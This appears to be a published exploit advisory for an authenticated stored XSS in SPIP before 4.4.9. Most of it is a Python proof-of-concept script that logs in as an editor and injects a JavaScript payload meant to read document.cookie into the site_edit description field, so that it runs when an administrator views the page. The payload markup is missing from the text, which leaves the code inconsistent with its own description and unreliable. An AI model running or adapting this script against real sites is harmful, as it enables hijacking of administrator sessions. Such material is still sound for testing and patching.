============================================================================================================================================= | # Title : SPIP before 4.4.9 Stored XSS Injection After Authentication | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://www.spip.net/en_rubrique25.html | ============================================================================================================================================= [+] Summary : This Python script uses the requests library to establish an HTTP session and attempt authentication against a website running SPIP using editor-level credentials. After successful login, the script sends a POST request to the site editing endpoint (?exec=site_edit) to inject a JavaScript payload into the descriptif field. The payload consists of an tag containing: A javascript: URI in the href attribute An onmouseover event handler A call attempting to access document.cookie The objective is to test for a potential Stored Cross-Site Scripting (Stored XSS) vulnerability if the platform fails to properly sanitize input (e.g., via echappe_anti_xss()). Workflow: Create an HTTP session. Send login credentials. If authentication succeeds, submit malicious input to a content field. Check the server response for injected content to determine whether the payload was accepted. This script represents a security testing scenario intended to verify the presence of a Stored XSS vulnerability in the SPIP administration interface. [+] POC : import requests target_url = "http://example-spip-site.com/ecrire/?exec=site_edit" login_url = "http://example-spip-site.com/spip.php?page=login" username = "redacteur_user" password = "password123" payload = 'Technical Info' session = requests.Session() login_data = { 'var_lang': 'en', 'formulaire_action': 'login', 'login': username, 'password': password } print("[+] Attempting to log in...") response = session.post(login_url, data=login_data) if response.status_code == 200: print("[+] Login successful. Starting the injection process...") injection_data = { 'nom_site': 'Malicious Site', 'url_site': 'http://attacker.com', 'descriptif': payload, 'statut': 'publie' } submit_response = session.post(target_url, data=injection_data) if "Technical Info" in submit_response.text: print("[!] Injection successful! The code will execute when an admin views the site.") else: print("[-] Injection failed or was blocked by a security filter.") else: print("[-] Failed to log in.") Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================